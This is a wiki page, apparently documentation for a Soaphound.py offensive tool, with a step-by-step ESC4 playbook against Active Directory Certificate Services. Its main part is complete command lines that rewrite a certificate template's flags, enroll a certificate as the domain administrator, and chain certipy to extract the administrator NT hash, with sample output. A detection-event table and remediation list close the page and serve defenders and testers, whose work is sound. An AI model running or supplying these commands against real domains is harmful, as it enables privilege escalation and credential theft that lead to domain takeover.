Skip to content

Playbook ESC4

belettetimoree edited this page Nov 1, 2026 · 1 revision

Playbook — ESC4 via Full SOAP

ESC4 abuses an over-permissive DACL on a certificate template object. Any principal with WriteProperty on the template can flip two attributes (msPKI-Certificate-Name-Flag, msPKI-Enrollment-Flag) to turn the template into an ESC1 (enrollee-supplied SAN with Client Authentication EKU). The resulting ESC1 lets the attacker enroll under any UPN — including administrator@<domain>.

This playbook assumes the only exposed Microsoft ports from the attacker's Linux host are tcp/9389 (ADWS) on the DC and tcp/443 (HTTPS) on the CA host.

Scenario

Field Value
Domain corp.local
DC dc01.corp.local / 10.0.0.10
CA short name corp-CA
Attacker identity alice@corp.local
Attacker credential Password123!
Vulnerable template VulnTpl (writeable by alice)
Target administrator@corp.local

Prerequisite — --cert-find check

Enumerate templates and confirm VulnTpl is flagged as ESC4:

soaphound --cert-find \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --output-dir /tmp/esc4

Look up VulnTpl in /tmp/esc4/*_cert_find.txt and confirm the finding line reports ESC4: alice@CORP.LOCAL has WriteProperty on template.

Step 1 — Weaponize

The ESC4-to-ESC1 flip is a single writeProperty on the template object. Soaphound.py does not ship an attribute writer today; the step currently rides SOAPy's --set-attribute primitive, which uses the same ADWS transport Soaphound.py uses for reads.

SOAPy -u alice -p 'Password123!' -d corp.local \
      --dc dc01.corp.local \
      --set-attribute 'CN=VulnTpl,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local' \
      msPKI-Certificate-Name-Flag '0x1'

Setting the ENROLLEE_SUPPLIES_SUBJECT bit (0x1) is the ESC4-to-ESC1 pivot. The companion attribute msPKI-Enrollment-Flag may need 0x0 depending on prior values — reconcile against the --cert-find output.

Step 2 — Discover the CES endpoint

soaphound --list-policies-ws \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --ca corp-CA --insecure-ssl

Note the CES URL for corp-CA (typically https://dc01.corp.local/corp-CA_CES_Kerberos/service.svc/CES) and the exact case of VulnTpl as returned by MS-XCEP.

Step 3 — Enroll as administrator

soaphound --enroll-ws \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --ca corp-CA --template VulnTpl \
  --upn 'administrator@corp.local' \
  --out /tmp/esc4/admin.pfx \
  --insecure-ssl

MS-WSTEP RequestSecurityToken returns a certificate whose SAN carries administrator@corp.local.

Step 4 — Chain to NT hash

With certipy on PATH, Soaphound.py chains the certipy auth step from the same invocation. Both PKINIT and the resulting NT hash are retrieved from the DC with the just-issued certificate:

soaphound --enroll-ws \
  -u alice -p 'Password123!' \
  -d corp.local \
  -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --ca corp-CA --template VulnTpl \
  --upn 'administrator@corp.local' \
  --out /tmp/esc4/admin.pfx \
  --auth-dc 10.0.0.10 \
  --insecure-ssl

Expected tail (abbreviated):

[*] Certificate issued and written to /tmp/esc4/admin.pfx
[*] Chaining certipy auth → 10.0.0.10
[certipy] Using principal: administrator@corp.local
[certipy] Trying to get TGT ...
[certipy] Got TGT
[certipy] NT hash for 'administrator': aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Full one-liner

Weaponize separately (Step 1), then run the chained one-liner:

soaphound --enroll-ws \
  -u alice -p 'Password123!' \
  -d corp.local -dc dc01.corp.local -dc-ip 10.0.0.10 \
  --ca corp-CA --template VulnTpl \
  --upn 'administrator@corp.local' --out /tmp/esc4/admin.pfx \
  --auth-dc 10.0.0.10 --insecure-ssl

Detection footprint

Event Where When
5136/5137 DC Security Step 1 — attribute change on the template object. Requires a per-object SACL on the template plus the "Directory Service Changes" Advanced Audit subcategory.
5156 DC WFP Every step — ADWS and HTTPS connections, if WFP connection auditing is on.
4886 CA Security Step 3 — certificate request received.
4887 CA Security Step 3 — certificate request approved and issued.
4899 CA Security Step 3 — certificate request handled by the policy module.
4768 DC Security Step 4 — Kerberos TGT request with pre-auth type 16 (PKINIT).

The 4768 with Pre-Auth Type 16 is the strongest post-hoc signal of a certificate-based primary logon.

Remediation

  • Audit DACLs on every certificate template; WriteProperty outside Enterprise Admins / Domain Admins is almost always a mistake.
  • Enable per-template SACLs so attribute flips raise 5136.
  • Enforce EPA on /certsrv/ and route _CES_Kerberos endpoints through gMSA-only identities.
  • Enforce strong certificate binding (StrongCertificateBindingEnforcement = 2) so Weak-mapping-based variants of ESC9/ESC10 cannot be chained from the issued cert.

References

Clone this wiki locally